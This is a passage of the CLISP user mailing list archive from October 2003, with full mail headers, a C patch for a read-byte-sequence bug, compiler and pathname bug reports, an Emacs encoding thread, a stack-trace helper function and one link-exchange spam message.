clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 10 22:18:03 2003 X-Original-Date: Sat, 11 Oct 2003 01:17:01 -0400 > * Basim Al-Shaikhli [2003-10-10 20:45:15 +0200]: > > i think (feel free to correct me if i'm wrong) there's a bug in > ext:read-byte-sequence with the :no-hang option it seems to loose the > first read byte. indeed - please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k Good judgment comes from experience and experience comes from bad judgment. --- stream.d.~1.384.~ 2003-10-09 19:17:53.189923800 -0400 +++ stream.d 2003-10-11 01:12:20.566761600 -0400 @@ -4948,18 +4948,28 @@ return true; } -local uintB* low_read_array_unbuffered_handle (object stream, uintB* byteptr, - uintL len, bool no_hang) { - if (UnbufferedStream_status(stream) < 0) # already EOF? - return byteptr; - while (UnbufferedStream_status(stream) > 0) { # bytebuf contains valid bytes? +local inline uintB* UnbufferedStream_pop_all +(object stream, uintB* byteptr, uintL *len) +{ /* pop bytebuf into byteptr */ + while (UnbufferedStream_status(stream) > 0) { /* have valid bytes? */ UnbufferedStreamLow_pop_byte(stream,b); *byteptr++ = b; - len--; - if (len == 0) + if (--*len == 0) + break; + } return byteptr; } + +local uintB* low_read_array_unbuffered_handle (object stream, uintB* byteptr, + uintL len, bool no_hang) { + if (UnbufferedStream_status(stream) < 0) /* already EOF? */ + return byteptr; + byteptr = UnbufferedStream_pop_all(stream,byteptr,&len); + if (len == 0) return byteptr; if (!no_hang || ls_avail_p(low_listen_unbuffered_handle(stream))) { + /* low_listen_unbuffered_handle could add to bytebuf */ + byteptr = UnbufferedStream_pop_all(stream,byteptr,&len); + if (len == 0) return byteptr; var Handle handle = TheHandle(TheStream(stream)->strm_ichannel); run_time_stop(); /* hold run time clock */ begin_system_call(); From bacilo@gmx.net Sat Oct 11 05:27:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A8IqS-0007gS-00 for ; Sat, 11 Oct 2003 05:27:40 -0700 Received: from imap.gmx.net ([213.165.64.20] helo=mail.gmx.net) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A8IqR-0003KO-C8 for clisp-list@lists.sourceforge.net; Sat, 11 Oct 2003 05:27:39 -0700 Received: (qmail 23859 invoked by uid 65534); 11 Oct 2003 12:27:05 -0000 Received: from c-134-85-39.f.dial.de.ignite.net (EHLO gmx.net) (62.134.85.39) by mail.gmx.net (mp004) with SMTP; 11 Oct 2003 14:27:05 +0200 X-Authenticated: #9749365 Message-ID: <3F87F71D.30402@gmx.net> From: Basim Al-Shaikhli User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5b) Gecko/20030901 Thunderbird/0.2 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: bug in read-byte-sequence? References: <3F86FE3B.5080604@gmx.net> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -2.1 (--) X-Spam-Report: -2.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 11 05:28:03 2003 X-Original-Date: Sat, 11 Oct 2003 14:27:09 +0200 Sam Steingold wrote: >>* Basim Al-Shaikhli [2003-10-10 20:45:15 +0200]: >> >>i think (feel free to correct me if i'm wrong) there's a bug in >>ext:read-byte-sequence with the :no-hang option it seems to loose the >>first read byte. >> >> > >indeed - please try the appended patch. > > thank you, but unfortunately i've neither a c-compiler, nor do i have the clisp-source. ;-) Basim From samuel.steingold@verizon.net Mon Oct 13 12:04:25 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A97zV-0000zW-00 for ; Mon, 13 Oct 2003 12:04:25 -0700 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A97zS-00064y-Kl for clisp-list@lists.sourceforge.net; Mon, 13 Oct 2003 12:04:22 -0700 Received: from WINSTEINGOLDLAP ([129.44.176.147]) by out004.verizon.net (InterMail vM.5.01.05.33 201-253-122-126-133-20030313) with ESMTP id <20031013190349.WHMZ25700.out004.verizon.net@WINSTEINGOLDLAP>; Mon, 13 Oct 2003 14:03:49 -0500 To: clisp-list@lists.sourceforge.net Cc: jaroosh@poczta.wp.pl Reply-to: clisp-devel@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200310131221.54264.bruno@clisp.org> (Bruno Haible's message of "Mon, 13 Oct 2003 12:21:54 +0200") References: <200310131221.54264.bruno@clisp.org> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out004.verizon.net from [129.44.176.147] at Mon, 13 Oct 2003 14:03:48 -0500 X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: internal error in pathname.d Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 13 12:05:09 2003 X-Original-Date: Mon, 13 Oct 2003 15:03:49 -0400 > * Bruno Haible [2003-10-13 12:21:54 +0200]: > Date: Saturday 11 October 2003 18:22 > From: "Jarek" > > I got the following error in CLisp (on Win XP): what CLISP version? > "*** - internal error: statement in file "pathname.d", line 4817 has been > reached!! Please send the authors of the program a description how you > produced this error!" > > That's what I did to produce it ;] : >>(setq pathobj (make-pathname :device "D" :directory '(:absolute "Lisp" >> :wild-inferiors "Examples") :name :wild :type "lisp")) > (which produced the #P object correctly) I get #P"D:\\Lisp\\**\\Examples\\*.lisp" >>(pathname-match-p pathobj "S") > (where I got the error) I get NIL. I cannot reproduce this with clisp 2.31 on w2k. can anyone reproduce this error? -- Sam Steingold (http://www.podval.org/~sds) running w2k I'm out of my mind, but feel free to leave a message... From handa@m17n.org Mon Oct 13 17:52:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A9DQn-0003so-00 for ; Mon, 13 Oct 2003 17:52:57 -0700 Received: from tsukuba.m17n.org ([192.47.44.130]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A9DQm-00041P-Ky for clisp-list@lists.sourceforge.net; Mon, 13 Oct 2003 17:52:56 -0700 Received: from fs.m17n.org (fs.m17n.org [192.47.44.2]) by tsukuba.m17n.org (8.11.6p2/3.7W-20010518204228) with ESMTP id h9E0qrh05593; Tue, 14 Oct 2003 09:52:53 +0900 (JST) (envelope-from handa@m17n.org) Received: from etlken.m17n.org (etlken.m17n.org [192.47.44.125]) by fs.m17n.org (8.11.6/3.7W-20010823150639) with ESMTP id h9E0qqs18743; Tue, 14 Oct 2003 09:52:52 +0900 (JST) Received: (from handa@localhost) by etlken.m17n.org (8.8.8+Sun/3.7W-2001040620) id JAA23914; Tue, 14 Oct 2003 09:52:52 +0900 (JST) Message-Id: <200310140052.JAA23914@etlken.m17n.org> From: Kenichi Handa To: clisp-list@lists.sourceforge.net CC: emacs-devel@gnu.org In-reply-to: (message from Sam Steingold on Fri, 10 Oct 2003 16:08:12 -0400) References: User-Agent: SEMI/1.14.3 (Ushinoya) FLIM/1.14.2 (Yagi-Nishiguchi) APEL/10.2 Emacs/21.3 (sparc-sun-solaris2.6) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT (0.0 points) Has a User-Agent header Subject: [clisp-list] Re: emacs refuses to save file in the same encoding it was read Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 13 17:58:51 2003 X-Original-Date: Tue, 14 Oct 2003 09:52:52 +0900 (JST) In article , Sam Steingold writes: > I have a file which starts with this line: > ;;; -*- coding: utf-8-unix -*- > it is opened and displayed by emacs correctly. > however, when I try to modify and save it, I get the following question: > Selected encoding mule-utf-8-unix disagrees with iso-2022-7bit specified > by file contents. Really save (else edit coding cookies and try again)? > (y or n) > when I answer affirmatively, the file is saved, but a line > ;; -*- coding: iso-2022-7bit; -*- > is added in front of my cookie. > what is going on? I can't reproduce this bug. Could you please send me the file that causes this problem in 8-bit safe way (base64 or uuencode)? --- Ken'ichi HANDA handa@m17n.org From lisp-clisp-list@m.gmane.org Mon Oct 13 18:40:17 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A9EAZ-0001Tu-00 for ; Mon, 13 Oct 2003 18:40:15 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A9EAY-00029T-IC for clisp-list@lists.sourceforge.net; Mon, 13 Oct 2003 18:40:14 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A9EAW-0002Bg-00 for ; Tue, 14 Oct 2003 03:40:12 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A9E2w-00021w-00 for ; Tue, 14 Oct 2003 03:32:22 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A9E2w-0001bl-00 for ; Tue, 14 Oct 2003 03:32:22 +0200 From: "Paul F. Dietz" Lines: 15 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] (random tester) Compiler bug involving flet, let, unwind-protect Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 13 19:31:05 2003 X-Original-Date: Mon, 13 Oct 2003 20:34:44 -0500 The gcl random tester has found the following bug in clisp (built 1 Oct 2003): (defparameter *fn* '(lambda (b) (flet ((%f10 nil :bad)) (let ((v7 (let ((v2 (%f10))) b))) (unwind-protect b))))) (print (funcall (compile nil *fn*) :good)) ;; ==> :BAD (print (funcall (eval `(function ,*fn*)) :good)) ;; ==> :GOOD ;; Paul From lisp-clisp-list@m.gmane.org Mon Oct 13 18:50:13 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A9EKD-0002Fs-00 for ; Mon, 13 Oct 2003 18:50:13 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A9EKC-0004OD-OE for clisp-list@lists.sourceforge.net; Mon, 13 Oct 2003 18:50:12 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A9EKB-0002FK-00 for ; Tue, 14 Oct 2003 03:50:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A9EEV-0002DI-00 for ; Tue, 14 Oct 2003 03:44:19 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A9EEV-0001oo-00 for ; Tue, 14 Oct 2003 03:44:19 +0200 From: "Paul F. Dietz" Lines: 14 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en X-Spam-Score: -0.1 (/) X-Spam-Report: -0.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_MOZILLA_UA (0.0 points) User-Agent header indicates a non-spam MUA (Mozilla) X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header Subject: [clisp-list] (random tester) Failure involving let, setq, unwind-protect Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 13 19:33:34 2003 X-Original-Date: Mon, 13 Oct 2003 20:46:41 -0500 This may or may not be related to the other bug the tester found today: (defparameter *f1* '(lambda (a b c) (let ((v9 a)) (let ((v2 (setq v9 c))) (unwind-protect c))))) (print (apply (compile nil *f1*) '(x y z))) ==> (x y z) (print (apply (eval `(function ,*f1*)) '(x y z))) ==> z ;; Paul From pascal@informatimago.com Mon Oct 13 20:42:21 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A9G4j-0002Xh-00 for ; Mon, 13 Oct 2003 20:42:21 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A9G4i-00020u-4c for clisp-list@lists.sourceforge.net; Mon, 13 Oct 2003 20:42:20 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id BDC6C26AD8; Tue, 14 Oct 2003 05:42:12 +0200 (CEST) Message-ID: <16267.28820.604849.881886@thalassa.informatimago.com> To: Kenichi Handa Cc: clisp-list@lists.sourceforge.net, emacs-devel@gnu.org Subject: [clisp-list] Re: emacs refuses to save file in the same encoding it was read In-Reply-To: <200310140052.JAA23914@etlken.m17n.org> References: <200310140052.JAA23914@etlken.m17n.org> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 13 20:43:04 2003 X-Original-Date: Tue, 14 Oct 2003 05:42:12 +0200 Kenichi Handa writes: > In article , Sam Steingold writes: > > I have a file which starts with this line: > > ;;; -*- coding: utf-8-unix -*- >=20 > > it is opened and displayed by emacs correctly. > > however, when I try to modify and save it, I get the following questi= on: >=20 > > Selected encoding mule-utf-8-unix disagrees with iso-2022-7bit specif= ied > > by file contents. Really save (else edit coding cookies and try agai= n)? > > (y or n) >=20 > > when I answer affirmatively, the file is saved, but a line > > ;; -*- coding: iso-2022-7bit; -*- > > is added in front of my cookie. >=20 > > what is going on? >=20 > I can't reproduce this bug. Could you please send me the > file that causes this problem in 8-bit safe way (base64 or > uuencode)? I had recently a similar problem (without a -*- coding: -*- line). I've got an answer on usenet saying that emacs did not support yet fully unicode, so when you have japanese characters, you must save in iso-2022. --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ Do not adjust your mind, there is a fault in reality. From sam12ed@yahoo.com Tue Oct 14 17:40:31 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A9ZiI-0008M4-00 for ; Tue, 14 Oct 2003 17:40:30 -0700 Received: from anna.dreamdns.net ([217.107.219.50]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22) id 1A9ZiH-0003NH-K3 for clisp-list@lists.sourceforge.net; Tue, 14 Oct 2003 17:40:30 -0700 Received: from nobody by anna.dreamdns.net with local (Exim 4.24) id 1A9Zi9-0005ou-4A; Wed, 15 Oct 2003 04:40:21 +0400 To: clisp-list@lists.sourceforge.net From: sam12ed@yahoo.com To: clisp-list@lists.sourceforge.net Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - anna.dreamdns.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com X-Spam-Score: 3.1 (+++) X-Spam-Report: 3.1/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 NO_REAL_NAME (0.8 points) From: does not include a real name FORGED_YAHOO_RCVD (2.3 points) 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Dear Portal Administration Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 14 17:41:18 2003 X-Original-Date: Wed, 15 Oct 2003 04:40:21 +0400 Dear Portal Administration! I have recently come across your site and liked it very much. I suppose that the visitors of our resources belong to the same social group and my site could be useful for your audience so I suggest to exchange our links. This will help both of us to increase Link-Popularity and accordingly get top positions in many searching system, Google for instance. My site is dedicated to mountain climbing. I hope that our subject as well as your site info will evoke mutual interest of our visitors. If you are positive to cooperate with me will you please visit this page to leave your link: http://www.mountain-climb.com/?id=links Yours sincerely, www.mountain-climb.com Administration From barry_fishman@att.net Wed Oct 15 09:03:00 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A9o72-0005Md-00 for ; Wed, 15 Oct 2003 09:03:00 -0700 Received: from mtiwmhc13.worldnet.att.net ([204.127.131.117]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A9o71-0002we-Fa for clisp-list@lists.sourceforge.net; Wed, 15 Oct 2003 09:02:59 -0700 Received: from barry_fishman.att.net (43.tampa-33-34rs16rt.fl.dial-access.att.net[12.95.45.43]) by worldnet.att.net (mtiwmhc13) with ESMTP id <2003101516022011300p945ve>; Wed, 15 Oct 2003 16:02:21 +0000 To: clisp-list@lists.sourceforge.net References: From: Barry Fishman In-Reply-To: (Sam Steingold's message of "07 Oct 2003 12:18:45 -0400") Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution Subject: [clisp-list] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 15 09:03:14 2003 X-Original-Date: Wed, 15 Oct 2003 12:02:19 -0400 Sam Steingold writes: > Ironically, I was right - the problem was elsewhere. > I just fixed it in the CVS, the patch is appended. Sorry about the late reply, but I have not been able to retrieve a CVS version until today. The bitmap is displayed correctly now. Thank you. From hin@van-halen.alma.com Wed Oct 15 15:56:25 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A9uZ7-0002xv-00 for ; Wed, 15 Oct 2003 15:56:25 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A9uZ4-0008Sz-VQ for clisp-list@lists.sourceforge.net; Wed, 15 Oct 2003 15:56:23 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 217E310DE86; Wed, 15 Oct 2003 18:56:17 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id h9FMuG60006014; Wed, 15 Oct 2003 18:56:16 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id h9FMuGUM006011; Wed, 15 Oct 2003 18:56:16 -0400 Message-Id: <200310152256.h9FMuGUM006011@van-halen.alma.com> From: "John K. Hinsdale" To: tfb@OCF.Berkeley.EDU Cc: clisp-list@lists.sourceforge.net In-reply-to: <16263.9067.640655.777302@famine.OCF.Berkeley.EDU> (tfb@OCF.Berkeley.EDU) Subject: Re: [clisp-list] How to dump a backtrace to a log file X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 15 15:57:04 2003 X-Original-Date: Wed, 15 Oct 2003 18:56:16 -0400 I use this function to capture the call stack as a string. Then one can print it, log it to a file, etc. ; GET-STACK-AS-STRING - Get the stack as a string for inclusion error message (defun get-stack-as-string (&optional (nskip 0)) ; Skip to first relevant EVAL frame (do* ((result (make-string-output-stream)) (mode 4) (frame (system::the-frame) (system::frame-up-1 frame mode)) (last (system::frame-up frame 5)) (count 0 (1+ count)) (at-last nil)) (at-last (get-output-stream-string result)) (cond ((< count nskip) ) ((= count nskip) (system::describe-frame result frame) (setf mode 5)) ((equal frame last) (setf at-last t)) (t (system::describe-frame result frame))))) From jason@nealug.nealug.org Wed Oct 15 22:07:42 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AA0MP-0003Fe-00 for ; Wed, 15 Oct 2003 22:07:41 -0700 Received: from nealug.nealug.org ([208.15.107.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AA0MP-0006KI-7K for clisp-list@lists.sourceforge.net; Wed, 15 Oct 2003 22:07:41 -0700 Received: by nealug.nealug.org (Postfix, from userid 515) id 82F271B24D; Thu, 16 Oct 2003 16:01:17 -0500 (CDT) To: clisp-list@lists.sourceforge.net Message-Id: <20031016210117.82F271B24D@nealug.nealug.org> From: jason@nealug.nealug.org X-Spam-Score: 3.6 (+++) X-Spam-Report: 3.6/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 NO_REAL_NAME (0.8 points) From: does not include a real name DATE_IN_FUTURE_12_24 (2.8 points) Date: is 12 to 24 hours after Received: date Subject: [clisp-list] Question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 15 22:08:04 2003 X-Original-Date: Thu, 16 Oct 2003 16:01:17 -0500 (CDT) Hello, First off, I would like to say that I very much enjoy CLisp. 